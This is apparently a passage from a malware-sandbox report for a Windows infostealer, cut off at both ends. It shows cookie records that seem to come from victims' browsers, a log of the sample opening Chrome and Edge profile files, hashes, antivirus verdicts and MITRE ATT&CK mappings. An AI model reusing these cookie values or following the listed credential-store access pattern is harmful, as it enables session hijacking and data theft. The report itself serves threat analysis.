:"MUIDB","value":"32DFF8A43A9F6A9B15B5EE573B1A6B37","path":"/","secure":true,"http_only":true,"expires":"2027-02-26T13:47:18.140Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".c.msn.com","name":"SRM_M","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:23.674Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".linkedin.com","name":"bcookie","value":"\"v=2&1391f723-91e0-4064-8cb8-08df8de6ce67\"","path":"/","secure":true,"http_only":false,"expires":"2027-02-01T13:47:19.413Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"srtb.msn.com","name":"sptmarket","value":"en-us||us|en-us|en-us|en||reason=RevIP:us|cf=9|RefA=BFBF717AE10043B9AD1EADE070116A7B.RefC=2026-02-01T13:47:18Z","path":"/","secure":false,"http_only":false,"expires":"2027-03-08T13:47:18.940Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":"ntp.msn.com","name":"sptmarket","value":"en-US||us|en-us|en-us|en||cf=9|RefA=697f58fe315e45baa654726456405d8d.RefC=2026-02-01T13:45:34Z","path":"/","secure":false,"http_only":false,"expires":"2027-03-08T13:47:49.949Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".ntp.msn.com","name":"sptmarket_restored","value":"en-US||us|en-us|en-us|en||cf=9|RefA=697f58fe315e45baa654726456405d8d.RefC=2026-02-01T13:45:34Z","path":"/","secure":false,"http_only":false,"expires":"2027-02-01T13:47:51.000Z"},{"bot_id":"33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE","browser":"Edge","host":".msn.com","name":"MUID","value":"222166F75FD3671F181970045E3D66DC","path":"/","secure":true,"http_only":false,"expires":"2027-02-26T13:51:23.674Z"}]}"6b:T1867,"file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ActorSafetyLists\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AmountExtractionHeuristicRegexes\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CommerceHeuristics\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\component_crx_cache\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CookieReadinessList\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\extensions_crx_cache\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\First Run" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\HistorySearch\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Version" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MEIPreload\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OpenCookieDatabase\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OptimizationHints\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OriginTrials\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PKIMetadata\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PlatformExperienceHelperMetrics\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\RecoveryImproved\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Safe Browsing\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SafetyTips\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\segmentation_platform\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ShaderCache\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Subresource Filter\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TpcdMetadata\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Variations" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\WasmTtsEngine\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\WidevineCdm\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ZxcvbnData\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Autofill\SECURE PREFERENCES" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\SECURE PREFERENCES"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791734166144,"unified_at":"2026-10-11T15:56:06.144Z","metadata":{"hashes":{"sha256":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","sha1":"b2b315b0b2f1ba03f18f5a48dc3ae97088b22821","md5":"13beeac1ef1955b907b4e878fd24e904","sha512":"02b901da0bdc35f14720faa733e552adbc70f750db94a4b7b4e65ead92ef7412282226061149b66a372b329db54cdf44e2a45e717e6fdc0c015cbe5b39665c5b","ssdeep":"49152:jFzjDLG7Q7B4FGgLRqZ1lMYgInYo2VKzSVvwGtulnWjiRnSJgLw15UlO4TsEFq7D:4W3lQ6rSuA2SJ+w1MTg7N+Y","ssdeep_chunks":["49152:jFzjDLG","49152:FzjDLG7","49152:zjDLG7Q","49152:jDLG7Q7","49152:DLG7Q7B","49152:LG7Q7B4","49152:G7Q7B4F","49152:7Q7B4FG","49152:Q7B4FGg","49152:7B4FGgL","49152:B4FGgLR","49152:4FGgLRq","49152:FGgLRqZ","49152:GgLRqZ1","49152:gLRqZ1l","49152:LRqZ1lM","49152:RqZ1lMY","49152:qZ1lMYg","49152:Z1lMYgI","49152:1lMYgIn","49152:lMYgInY","49152:MYgInYo","49152:YgInYo2","49152:gInYo2V","49152:InYo2VK","49152:nYo2VKz","49152:Yo2VKzS","49152:o2VKzSV","49152:2VKzSVv","49152:VKzSVvw","49152:KzSVvwG","49152:zSVvwGt","49152:SVvwGtu","49152:VvwGtul","49152:vwGtuln","49152:wGtulnW","49152:GtulnWj","49152:tulnWji","49152:ulnWjiR","49152:lnWjiRn","49152:nWjiRnS","49152:WjiRnSJ","49152:jiRnSJg","49152:iRnSJgL","49152:RnSJgLw","49152:nSJgLw1","49152:SJgLw15","49152:JgLw15U","49152:gLw15Ul","49152:Lw15UlO","49152:w15UlO4","49152:15UlO4T","49152:5UlO4Ts","49152:UlO4TsE","49152:lO4TsEF","49152:O4TsEFq","49152:4TsEFq7","49152:TsEFq7D","98304:jFzjDLG","98304:FzjDLG7","98304:zjDLG7Q","98304:jDLG7Q7","98304:DLG7Q7B","98304:LG7Q7B4","98304:G7Q7B4F","98304:7Q7B4FG","98304:Q7B4FGg","98304:7B4FGgL","98304:B4FGgLR","98304:4FGgLRq","98304:FGgLRqZ","98304:GgLRqZ1","98304:gLRqZ1l","98304:LRqZ1lM","98304:RqZ1lMY","98304:qZ1lMYg","98304:Z1lMYgI","98304:1lMYgIn","98304:lMYgInY","98304:MYgInYo","98304:YgInYo2","98304:gInYo2V","98304:InYo2VK","98304:nYo2VKz","98304:Yo2VKzS","98304:o2VKzSV","98304:2VKzSVv","98304:VKzSVvw","98304:KzSVvwG","98304:zSVvwGt","98304:SVvwGtu","98304:VvwGtul","98304:vwGtuln","98304:wGtulnW","98304:GtulnWj","98304:tulnWji","98304:ulnWjiR","98304:lnWjiRn","98304:nWjiRnS","98304:WjiRnSJ","98304:jiRnSJg","98304:iRnSJgL","98304:RnSJgLw","98304:nSJgLw1","98304:SJgLw15","98304:JgLw15U","98304:gLw15Ul","98304:Lw15UlO","98304:w15UlO4","98304:15UlO4T","98304:5UlO4Ts","98304:UlO4TsE","98304:lO4TsEF","98304:O4TsEFq","98304:4TsEFq7","98304:TsEFq7D","49152:4W3lQ6r","49152:W3lQ6rS","49152:3lQ6rSu","49152:lQ6rSuA","49152:Q6rSuA2","49152:6rSuA2S","49152:rSuA2SJ","49152:SuA2SJ+","49152:uA2SJ+w","49152:A2SJ+w1","49152:2SJ+w1M","49152:SJ+w1MT","49152:J+w1MTg","49152:+w1MTg7","49152:w1MTg7N","49152:1MTg7N+","49152:MTg7N+Y"],"imphash":"160c101dd73adb2f729e5b922904fc20"},"file_info":{"file_name":"file","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":3966464,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1786566356000,"last_seen":1787839638000,"last_multi_scan":1787839638000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility","infostealer","evasive"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":101},"sandbox_signatures":{"informative_count":258,"suspicious_count":12,"malicious_count":10,"total":280},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/Win32.Tiny","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81091590","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Egairtigado_rfn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81091590 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/PSW.Agent.ARC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Wacatac.cl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!02ACD2EC122D0EA3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Password-Stealer ( 005dc8921 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_check_for_sandbox_and_av_modules","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABmRisk.UTGT-7584","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.GenPsw.KCA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win64.206077","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"YARA signature match - SHA-256 algorithm (constants)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match – Encryption algorithm"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Reconnaissance","technique":"Vulnerability Scanning","attack_id":"T1595.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1595/002","identifiers":[{"type":"informative","value":"Able to use vulnerability or port scanning tools"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Initial Access","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Contains ability to create named pipes for inter-process communication (IPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"tactic":"Privilege 